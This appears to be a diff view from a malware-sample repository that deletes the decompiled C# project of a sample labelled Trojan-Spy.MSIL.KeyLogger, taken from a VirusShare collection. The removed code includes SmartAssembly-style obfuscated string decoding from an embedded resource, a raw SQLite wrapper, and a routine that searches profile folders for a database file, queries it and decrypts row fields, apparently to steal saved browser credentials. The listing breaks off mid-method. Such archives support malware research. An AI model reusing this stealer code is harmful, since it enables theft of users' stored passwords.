Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Publicloggerversionztub", "Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.csproj", "{517BF629-3D89-4B39-B50F-12C897A93A06}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{517BF629-3D89-4B39-B50F-12C897A93A06}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{517BF629-3D89-4B39-B50F-12C897A93A06}.Debug|Any CPU.Build.0 = Debug|Any CPU
{517BF629-3D89-4B39-B50F-12C897A93A06}.Release|Any CPU.ActiveCfg = Release|Any CPU
{517BF629-3D89-4B39-B50F-12C897A93A06}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

11
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/AssemblyInfo.cs
View File

@ -1,11 +0,0 @@
using SmartAssembly.Attributes;
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyTitle("d1a3l0ss asdf")]
[assembly: Guid("715cab6e-1d62-4b09-9f5b-fc33d23d86e2")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyCopyright("asdfgasdf © 2012")]
[assembly: PoweredBy("asdfsaf as {asdfgasdfsafg}")]
[assembly: AssemblyProduct("d1a3l0ss asdf")]
[assembly: AssemblyVersion("1.0.0.0")]

17
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/SmartAssembly/Attributes/PoweredByAttribute.cs
View File

@ -1,17 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: SmartAssembly.Attributes.PoweredByAttribute
// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe
using System;
namespace SmartAssembly.Attributes
{
public sealed class PoweredByAttribute : Attribute
{
public PoweredByAttribute(string s)
{
}
}
}

62
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/Trojan-Spy.MSIL.KeyLogger.aml.csproj
View File

@ -1,62 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{BC3B5A79-FF64-4749-9148-6B93086D747D}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>d1a3l0s</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="_0002\_0001.cs" />
<Compile Include="_0002\_0002.cs" />
<Compile Include="_0002\_0003.cs" />
<Compile Include="SmartAssembly\Attributes\PoweredByAttribute.cs" />
<Compile Include="_0005\_0001.cs" />
<Compile Include="_0001\_0001.cs" />
<Compile Include="_0001\_0002.cs" />
<Compile Include="_0001\_0003.cs" />
<Compile Include="_0003\_0001.cs" />
<Compile Include="_0003\_0002.cs" />
<Compile Include="_0003\_0003.cs" />
<Compile Include="_0004\_0001.cs" />
<Compile Include="_0004\_0002.cs" />
<Compile Include="_0004\_0003.cs" />
<Compile Include="d1a3l0ss_asdf\My\MySettings.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="_0003\_0003.resx" />
<EmbeddedResource Include="{50a68cbd-55ea-4e40-8dcb-f2a44dfb42de}" />
<EmbeddedResource Include="d1a3l0ss_asdf\Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/Trojan-Spy.MSIL.KeyLogger.aml.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "d1a3l0s", "Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.csproj", "{BC3B5A79-FF64-4749-9148-6B93086D747D}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{BC3B5A79-FF64-4749-9148-6B93086D747D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{BC3B5A79-FF64-4749-9148-6B93086D747D}.Debug|Any CPU.Build.0 = Debug|Any CPU
{BC3B5A79-FF64-4749-9148-6B93086D747D}.Release|Any CPU.ActiveCfg = Release|Any CPU
{BC3B5A79-FF64-4749-9148-6B93086D747D}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

10
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0001/_0001.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe
namespace \u0001
{
internal delegate string \u0001(int i);
}

53
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0001/_0002.cs
View File

@ -1,53 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe
using \u0001;
using System;
using System.Diagnostics;
using System.Reflection;
using System.Reflection.Emit;
namespace \u0001
{
internal static class \u0002
{
public static void \u0002()
{
Type declaringType = new StackTrace().GetFrame(1).GetMethod().DeclaringType;
foreach (FieldInfo field in declaringType.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField))
{
try
{
if ((object) field.FieldType == (object) typeof (\u0001.\u0001))
{
DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, typeof (string), new Type[1]
{
typeof (int)
}, declaringType, true);
ILGenerator ilGenerator = dynamicMethod.GetILGenerator();
ilGenerator.Emit(OpCodes.Ldarg_0);
foreach (MethodInfo method in typeof (\u0003).GetMethods(BindingFlags.Static | BindingFlags.Public))
{
if ((object) method.ReturnType == (object) typeof (string))
{
ilGenerator.Emit(OpCodes.Ldc_I4, field.MetadataToken & 16777215);
ilGenerator.Emit(OpCodes.Sub);
ilGenerator.Emit(OpCodes.Call, method);
break;
}
}
ilGenerator.Emit(OpCodes.Ret);
field.SetValue((object) null, (object) (\u0001.\u0001) dynamicMethod.CreateDelegate(typeof (\u0001.\u0001)));
break;
}
}
catch
{
}
}
}
}
}

118
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0001/_0003.cs
View File

@ -1,118 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe
using \u0001;
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
namespace \u0001
{
internal sealed class \u0003
{
[NonSerialized]
internal static \u0001.\u0001 \u0001;
private static string \u0001;
private static string \u0002;
private static byte[] \u0001;
private static Hashtable \u0001;
private static bool \u0001;
private static int \u0001;
public static string \u0002([In] int obj0)
{
obj0 -= \u0003.\u0001;
if (\u0003.\u0001)
{
string str = (string) \u0003.\u0001[(object) obj0];
if (str != null)
return str;
}
int num1 = obj0;
byte[] numArray1 = \u0003.\u0001;
int index1 = num1;
int index2 = index1 + 1;
int num2 = (int) numArray1[index1];
int count;
if ((num2 & 128) == 0)
{
count = num2;
if (count == 0)
return string.Empty;
}
else if ((num2 & 64) == 0)
{
count = ((num2 & 63) << 8) + (int) \u0003.\u0001[index2++];
}
else
{
int num3 = (num2 & 31) << 24;
byte[] numArray2 = \u0003.\u0001;
int index3 = index2;
int num4 = index3 + 1;
int num5 = (int) numArray2[index3] << 16;
int num6 = num3 + num5;
byte[] numArray3 = \u0003.\u0001;
int index4 = num4;
int num7 = index4 + 1;
int num8 = (int) numArray3[index4] << 8;
int num9 = num6 + num8;
byte[] numArray4 = \u0003.\u0001;
int index5 = num7;
index2 = index5 + 1;
int num10 = (int) numArray4[index5];
count = num9 + num10;
}
try
{
byte[] bytes = Convert.FromBase64String(Encoding.UTF8.GetString(\u0003.\u0001, index2, count));
string str = string.Intern(Encoding.UTF8.GetString(bytes, 0, bytes.Length));
if (\u0003.\u0001)
{
try
{
\u0003.\u0001.Add((object) obj0, (object) str);
}
catch
{
}
}
return str;
}
catch
{
return (string) null;
}
}
static \u0003()
{
\u0002.\u0002();
\u0003.\u0001 = "0";
\u0003.\u0002 = "161";
\u0003.\u0001 = (byte[]) null;
\u0003.\u0001 = (Hashtable) null;
\u0003.\u0001 = false;
\u0003.\u0001 = 0;
if (\u0003.\u0001 == "1")
{
\u0003.\u0001 = true;
\u0003.\u0001 = new Hashtable();
}
\u0003.\u0001 = Convert.ToInt32(\u0003.\u0002);
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("{50a68cbd-55ea-4e40-8dcb-f2a44dfb42de}"))
{
int int32 = Convert.ToInt32(manifestResourceStream.Length);
\u0003.\u0001 = new byte[int32];
manifestResourceStream.Read(\u0003.\u0001, 0, int32);
manifestResourceStream.Close();
}
}
}
}

46
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0002/_0001.cs
View File

@ -1,46 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe
using \u0002;
using Microsoft.VisualBasic.ApplicationServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace \u0002
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class \u0001 : WindowsFormsApplicationBase
{
[EditorBrowsable(EditorBrowsableState.Advanced)]
[STAThread]
internal static void \u0002([In] string[] obj0)
{
try
{
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
}
finally
{
}
\u0003.\u0002().Run(obj0);
}
public \u0001()
: base(AuthenticationMode.Windows)
{
this.IsSingleInstance = false;
this.EnableVisualStyles = true;
this.SaveMySettingsOnExit = true;
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
}
protected override void OnCreateMainForm() => this.MainForm = (Form) \u0003.\u0002().\u0002();
}
}

22
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0002/_0002.cs
View File

@ -1,22 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace \u0002
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class \u0002 : Computer
{
[EditorBrowsable(EditorBrowsableState.Never)]
public \u0002()
{
}
}
}

148
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0002/_0003.cs
View File

@ -1,148 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.ComponentModel;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace \u0002
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class \u0003
{
private static readonly \u0002.\u0003.\u0003<\u0002.\u0002> \u0001 = new \u0002.\u0003.\u0003<\u0002.\u0002>();
private static readonly \u0002.\u0003.\u0003<\u0002.\u0001> \u0001 = new \u0002.\u0003.\u0003<\u0002.\u0001>();
private static readonly \u0002.\u0003.\u0003<User> \u0001 = new \u0002.\u0003.\u0003<User>();
private static \u0002.\u0003.\u0003<\u0002.\u0003.\u0001> \u0001 = new \u0002.\u0003.\u0003<\u0002.\u0003.\u0001>();
private static readonly \u0002.\u0003.\u0003<\u0002.\u0003.\u0002> \u0001 = new \u0002.\u0003.\u0003<\u0002.\u0003.\u0002>();
[SpecialName]
internal static \u0002.\u0002 \u0002() => \u0002.\u0003.\u0001.\u0002();
[SpecialName]
internal static \u0002.\u0001 \u0002() => \u0002.\u0003.\u0001.\u0002();
[SpecialName]
internal static \u0002.\u0003.\u0001 \u0002() => \u0002.\u0003.\u0001.\u0002();
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class \u0001
{
[NonSerialized]
internal static \u0001.\u0001 \u0001;
public \u0003.\u0003 \u0001;
[ThreadStatic]
private static Hashtable \u0001;
[SpecialName]
public \u0003.\u0003 \u0002()
{
this.\u0001 = \u0002.\u0003.\u0001.\u0002<\u0003.\u0003>(this.\u0001);
return this.\u0001;
}
private static T \u0002<T>([In] T obj0) where T : Form, new()
{
if ((object) obj0 != null && !obj0.IsDisposed)
return obj0;
if (\u0002.\u0003.\u0001.\u0001 != null)
{
if (\u0002.\u0003.\u0001.\u0001.ContainsKey((object) typeof (T)))
throw new InvalidOperationException(Utils.GetResourceString(\u0002.\u0003.\u0001.\u0001(180)));
}
else
\u0002.\u0003.\u0001.\u0001 = new Hashtable();
\u0002.\u0003.\u0001.\u0001.Add((object) typeof (T), (object) null);
try
{
return new T();
}
catch (TargetInvocationException ex) when (
{
// ISSUE: unable to correctly present filter
ProjectData.SetProjectError((Exception) ex);
if (ex.InnerException != null)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
throw new InvalidOperationException(Utils.GetResourceString(\u0002.\u0003.\u0001.\u0001(221), ex.InnerException.Message), ex.InnerException);
}
finally
{
\u0002.\u0003.\u0001.\u0001.Remove((object) typeof (T));
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
public \u0001()
{
}
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals([In] object obj0) => base.Equals(RuntimeHelpers.GetObjectValue(obj0));
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
static \u0001() => \u0001.\u0002.\u0002();
}
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class \u0002
{
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals([In] object obj0) => base.Equals(RuntimeHelpers.GetObjectValue(obj0));
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
[EditorBrowsable(EditorBrowsableState.Never)]
public \u0002()
{
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class \u0003<T> where T : new()
{
[SpecialName]
internal T \u0002()
{
// ISSUE: reference to a compiler-generated field
if ((object) \u0002.\u0003.\u0003<T>.\u0001 == null)
{
// ISSUE: reference to a compiler-generated field
\u0002.\u0003.\u0003<T>.\u0001 = new T();
}
// ISSUE: reference to a compiler-generated field
return \u0002.\u0003.\u0003<T>.\u0001;
}
[EditorBrowsable(EditorBrowsableState.Never)]
public \u0003()
{
}
}
}
}

196
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0001.cs
View File

@ -1,196 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe
using \u0001;
using System;
using System.Data;
using System.Runtime.InteropServices;
using System.Text;
namespace \u0003
{
internal class \u0001
{
[NonSerialized]
internal static \u0001.\u0001 \u0001;
private IntPtr \u0001;
[DllImport("kernel32", EntryPoint = "HeapAlloc")]
private static extern IntPtr \u0002([In] IntPtr obj0, [In] uint obj1, [In] uint obj2);
[DllImport("kernel32", EntryPoint = "GetProcessHeap")]
private static extern IntPtr \u0002();
[DllImport("kernel32", EntryPoint = "lstrlen")]
private static extern int \u0002([In] IntPtr obj0);
[DllImport("sqlite3", EntryPoint = "sqlite3_open")]
private static extern int \u0002([In] IntPtr obj0, [In] ref IntPtr obj1);
[DllImport("sqlite3", EntryPoint = "sqlite3_prepare_v2")]
private static extern int \u0002(
[In] IntPtr obj0,
[In] IntPtr obj1,
[In] int obj2,
[In] ref IntPtr obj3,
[In] ref IntPtr obj4);
[DllImport("sqlite3", EntryPoint = "sqlite3_step")]
private static extern int \u0003([In] IntPtr obj0);
[DllImport("sqlite3", EntryPoint = "sqlite3_column_count")]
private static extern int \u0004([In] IntPtr obj0);
[DllImport("sqlite3", EntryPoint = "sqlite3_column_name")]
private static extern IntPtr \u0002([In] IntPtr obj0, [In] int obj1);
[DllImport("sqlite3", EntryPoint = "sqlite3_column_type")]
private static extern int \u0002([In] IntPtr obj0, [In] int obj1);
[DllImport("sqlite3", EntryPoint = "sqlite3_column_int")]
private static extern int \u0003([In] IntPtr obj0, [In] int obj1);
[DllImport("sqlite3", EntryPoint = "sqlite3_column_double")]
private static extern double \u0002([In] IntPtr obj0, [In] int obj1);
[DllImport("sqlite3", EntryPoint = "sqlite3_column_text")]
private static extern IntPtr \u0003([In] IntPtr obj0, [In] int obj1);
[DllImport("sqlite3", EntryPoint = "sqlite3_column_blob")]
private static extern IntPtr \u0004([In] IntPtr obj0, [In] int obj1);
[DllImport("sqlite3", EntryPoint = "sqlite3_finalize")]
private static extern int \u0005([In] IntPtr obj0);
public \u0001() => this.\u0001 = IntPtr.Zero;
public \u0001([In] string obj0) => this.\u0002(obj0);
public void \u0002([In] string obj0)
{
if (\u0003.\u0001.\u0002(this.\u0002(obj0), ref this.\u0001) != 0)
{
this.\u0001 = IntPtr.Zero;
throw new Exception(\u0003.\u0001.\u0001(262) + obj0 + \u0003.\u0001.\u0001(303));
}
}
public DataTable \u0002([In] string obj0)
{
IntPtr num1;
IntPtr num2;
\u0003.\u0001.\u0002(this.\u0001, this.\u0002(obj0), this.\u0006(this.\u0002(obj0)), ref num1, ref num2);
DataTable dataTable = new DataTable();
int num3 = this.\u0002(num1, ref dataTable);
while (num3 == 100)
num3 = this.\u0003(num1, ref dataTable);
\u0003.\u0001.\u0005(num1);
return dataTable;
}
private int \u0002([In] IntPtr obj0, [In] ref DataTable obj1)
{
obj1 = new DataTable(\u0003.\u0001.\u0001(308));
if (\u0003.\u0001.\u0003(obj0) == 100)
{
int num1 = \u0003.\u0001.\u0004(obj0);
string str = \u0003.\u0001.\u0001(325);
object[] objArray = new object[checked (num1 - 1 + 1)];
int num2 = checked (num1 - 1);
int index = 0;
while (index <= num2)
{
string columnName = this.\u0002(\u0003.\u0001.\u0002(obj0, index));
switch (\u0003.\u0001.\u0002(obj0, index))
{
case 1:
obj1.Columns.Add(columnName, Type.GetType(\u0003.\u0001.\u0001(326)));
objArray[index] = (object) \u0003.\u0001.\u0003(obj0, index);
break;
case 2:
obj1.Columns.Add(columnName, Type.GetType(\u0003.\u0001.\u0001(343)));
objArray[index] = (object) \u0003.\u0001.\u0002(obj0, index);
break;
case 3:
obj1.Columns.Add(columnName, Type.GetType(\u0003.\u0001.\u0001(364)));
objArray[index] = (object) this.\u0002(\u0003.\u0001.\u0003(obj0, index));
break;
case 4:
obj1.Columns.Add(columnName, Type.GetType(\u0003.\u0001.\u0001(364)));
objArray[index] = (object) this.\u0002(\u0003.\u0001.\u0004(obj0, index));
break;
default:
obj1.Columns.Add(columnName, Type.GetType(\u0003.\u0001.\u0001(364)));
objArray[index] = (object) \u0003.\u0001.\u0001(325);
break;
}
checked { ++index; }
}
obj1.Rows.Add(objArray);
}
return \u0003.\u0001.\u0003(obj0);
}
private int \u0003([In] IntPtr obj0, [In] ref DataTable obj1)
{
int num1 = \u0003.\u0001.\u0004(obj0);
object[] objArray = new object[checked (num1 - 1 + 1)];
int num2 = checked (num1 - 1);
int index = 0;
while (index <= num2)
{
switch (\u0003.\u0001.\u0002(obj0, index))
{
case 1:
objArray[index] = (object) \u0003.\u0001.\u0003(obj0, index);
break;
case 2:
objArray[index] = (object) \u0003.\u0001.\u0002(obj0, index);
break;
case 3:
objArray[index] = (object) this.\u0002(\u0003.\u0001.\u0003(obj0, index));
break;
case 4:
objArray[index] = (object) this.\u0002(\u0003.\u0001.\u0004(obj0, index));
break;
default:
objArray[index] = (object) \u0003.\u0001.\u0001(325);
break;
}
checked { ++index; }
}
obj1.Rows.Add(objArray);
return \u0003.\u0001.\u0003(obj0);
}
private IntPtr \u0002([In] string obj0)
{
if (obj0 == null)
return IntPtr.Zero;
byte[] bytes = Encoding.UTF8.GetBytes(obj0);
uint num1 = checked ((uint) (bytes.Length + 1));
IntPtr num2 = \u0003.\u0001.\u0002(\u0003.\u0001.\u0002(), 0U, num1);
Marshal.Copy(bytes, 0, num2, bytes.Length);
Marshal.WriteByte(num2, bytes.Length, (byte) 0);
return num2;
}
private string \u0002([In] IntPtr obj0)
{
if (obj0 == IntPtr.Zero)
return (string) null;
Encoding utF8 = Encoding.UTF8;
int num = this.\u0006(obj0);
byte[] numArray = new byte[checked (num - 1 + 1)];
Marshal.Copy(obj0, numArray, 0, num);
return utF8.GetString(numArray, 0, num);
}
private int \u0006([In] IntPtr obj0) => obj0 == IntPtr.Zero ? 0 : \u0003.\u0001.\u0002(obj0);
static \u0001() => \u0002.\u0002();
}
}

190
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0002.cs
View File

@ -1,190 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections;
using System.Data;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Text.RegularExpressions;
using System.Windows.Forms;
namespace \u0003
{
internal sealed class \u0002
{
[NonSerialized]
internal static \u0001.\u0001 \u0001;
private static IntPtr \u0001;
public static string \u0001;
public static void \u0002()
{
Path.GetTempPath();
try
{
bool flag = false;
string str1 = Environment.GetEnvironmentVariable(\u0003.\u0002.\u0001(387)) + \u0003.\u0002.\u0001(404);
string[] directories = Directory.GetDirectories(Environment.GetEnvironmentVariable(\u0003.\u0002.\u0001(429)) + \u0003.\u0002.\u0001(442));
int index1 = 0;
while (index1 < directories.Length)
{
string path = directories[index1];
if (!flag)
{
string[] files = Directory.GetFiles(path);
int index2 = 0;
while (index2 < files.Length)
{
string input = files[index2];
if (!flag)
{
if (Regex.IsMatch(input, \u0003.\u0002.\u0001(479)))
{
\u0003.\u0002.\u0002(path);
\u0003.\u0002.\u0001 = input;
}
checked { ++index2; }
}
else
break;
}
checked { ++index1; }
}
else
break;
}
string str2 = \u0003.\u0002.\u0001;
\u0003.\u0002.\u0001 obj1 = new \u0003.\u0002.\u0001();
\u0003.\u0002.\u0001 obj2 = new \u0003.\u0002.\u0001();
\u0003.\u0002.\u0001 obj3 = new \u0003.\u0002.\u0001();
\u0003.\u0001 obj4 = new \u0003.\u0001(str2);
DataTable dataTable1 = obj4.\u0002(\u0003.\u0002.\u0001(500));
DataTable dataTable2 = obj4.\u0002(\u0003.\u0002.\u0001(537));
Console.WriteLine(\u0003.\u0002.\u0001(327));
try
{
foreach (DataRow row in dataTable2.Rows)
Console.WriteLine(row[\u0003.\u0002.\u0001(582)].ToString());
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
(enumerator as IDisposable).Dispose();
}
Console.WriteLine();
Console.WriteLine();
\u0003.\u0002.\u0002(\u0003.\u0002.\u0002(), true, 0L);
\u0002.\u0003.\u0002().\u0002().\u0004().Text += \u0003.\u0002.\u0001(595);
Console.WriteLine();
try
{
foreach (DataRow row in dataTable1.Rows)
{
string str3 = Convert.ToString(row[\u0003.\u0002.\u0001(652)].ToString());
TextBox textBox1 = \u0002.\u0003.\u0002().\u0002().\u0004();
textBox1.Text = textBox1.Text + \u0003.\u0002.\u0001(673) + str3 + \u0003.\u0002.\u0001(686);
StringBuilder stringBuilder1 = new StringBuilder(row[\u0003.\u0002.\u0001(695)].ToString());
IntPtr num = new IntPtr(\u0003.\u0002.\u0002(IntPtr.Zero, IntPtr.Zero, stringBuilder1, stringBuilder1.Length));
